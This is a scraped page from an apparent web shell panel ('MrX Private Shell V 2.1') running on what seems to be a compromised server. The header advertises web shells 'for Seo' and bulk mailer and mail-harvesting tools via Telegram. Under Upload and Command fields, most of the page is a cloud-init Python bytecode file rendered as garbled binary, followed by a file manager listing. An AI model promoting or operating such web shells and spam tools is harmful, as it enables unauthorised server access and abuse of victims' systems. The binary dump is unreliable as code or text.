__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h����SrSSKrSSKrSSKrSSKrSSKJr SSKJrJ	r	J
r
Jr Sr\"5Rr\R"\5rS
SjrSSjrSr\S	:Xa-\R*"\"\\"5R-555 gg)z,Debug jinja template rendering of user-data.�N)�read_cfg_paths)�JinjaLoadError�JinjaSyntaxParsingException�
NotJinjaError�render_jinja_payload_from_file�renderc���U(d[R"[[S9nUR	S[
SS9 UR	SS[
S[3S9 UR	SS	S
SSS
9 U$)a
Build or extend and arg parser for jinja render utility.

@param parser: Optional existing ArgumentParser instance representing the
    subcommand which will be extended to support the args of this utility.

@returns: ArgumentParser with proper argument configuration.
)�prog�description�	user_dataz$Path to the user-data file to render)�type�helpz-iz--instance-dataz6Optional path to instance-data.json file. Defaults to z-dz--debug�
store_trueFz+Add verbose messages during template render)�action�defaultr)�argparse�ArgumentParser�NAME�__doc__�add_argument�str�CLOUDINIT_RUN_DIR)�parsers �</usr/lib/python3/dist-packages/cloudinit/cmd/devel/render.py�
get_parserrs�����(�(�d��H��
����#�$J��������
�
�,�-�
/����������
:����M�c���U(aUnO�[5n[R"5nURS5nUS:XaOURS5n[RRU5(d[RSUU5 UnOUn[RRU5(d[RSU5 g[U5nUR5nSSS5 [WUUU(aS	OS
S9n	U	(d[RSU5 g[$R&R)U	5 g!,(df   Nb=f![a [RSU5 gf=f![[4a)n
[RS[U
55 Sn
A
gSn
A
f[ a*n
[RS
U[#U
55 Sn
A
gSn
A
ff=f)z�Render the provided user-data template file using instance-data values.

Also setup CLI log handlers to report to stderr since this is a development
utility which should be run by a human on the CLI.

@return 0 on success, 1 on failure.
�
instance_datar�instance_data_sensitivez4Missing root-readable %s. Using redacted %s instead.z#Missing instance-data.json file: %s�NzMissing user-data file: %sTF)�payload�
payload_fn�instance_data_file�debugz5Cannot render from instance data due to exception: %sz2Failed to render templated user-data file '%s'. %sz#Unable to render user-data file: %s)r�os�getuid�get_runpath�path�exists�LOG�warning�error�open�read�IOErrorrrr�reprrr�sys�stdout�write)�user_data_path�instance_data_pathr$�instance_data_fn�paths�uid�redacted_data_fn�streamr�rendered_payload�es           r�render_templater=:s����-��� ���i�i�k�� �,�,�_�=���!�8�$�0�0�1J�K���7�7�>�>�"2�3�3����J�$�$��
$4� ��/��
�7�7�>�>�*�+�+��	�	�7�9I�J���
�.�
!�V����
�I�"�
�9��%�/��$�U�	
��$��	�	�7��H���J�J���%�&��9"�
!�����	�	�.��?����
�M�*���	�	�C�T�!�W�	
���&���	�	�@����F�	
�
��
�sT�E�E�*E�3E=�
E�E�E� E:�9E:�=G(�
F1�1
G(�> G#�#G(c�X�[URURUR5$�N)r=rrr$)�_name�argss  r�handle_argsrBvs���4�>�>�4�+=�+=�t�z�z�J�Jr�__main__r?)NF)rr�loggingr%r1�cloudinit.cmd.develr�!cloudinit.handlers.jinja_templaterrrrr�run_dirr�	getLogger�__name__r*rr=rB�exit�
parse_args�rr�<module>rMs���
3���	�
�.�����"�$�,�,��
����!���@9
�xK��z���H�H�[��z�|�6�6�8�
9�:�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.14 KB 0644
hotplug_hook.cpython-313.pyc File 15.97 KB 0644
logs.cpython-313.pyc File 17.96 KB 0644
make_mime.cpython-313.pyc File 5.4 KB 0644
net_convert.cpython-313.pyc File 7.52 KB 0644
parser.cpython-313.pyc File 1.76 KB 0644
render.cpython-313.pyc File 4.53 KB 0644
Filemanager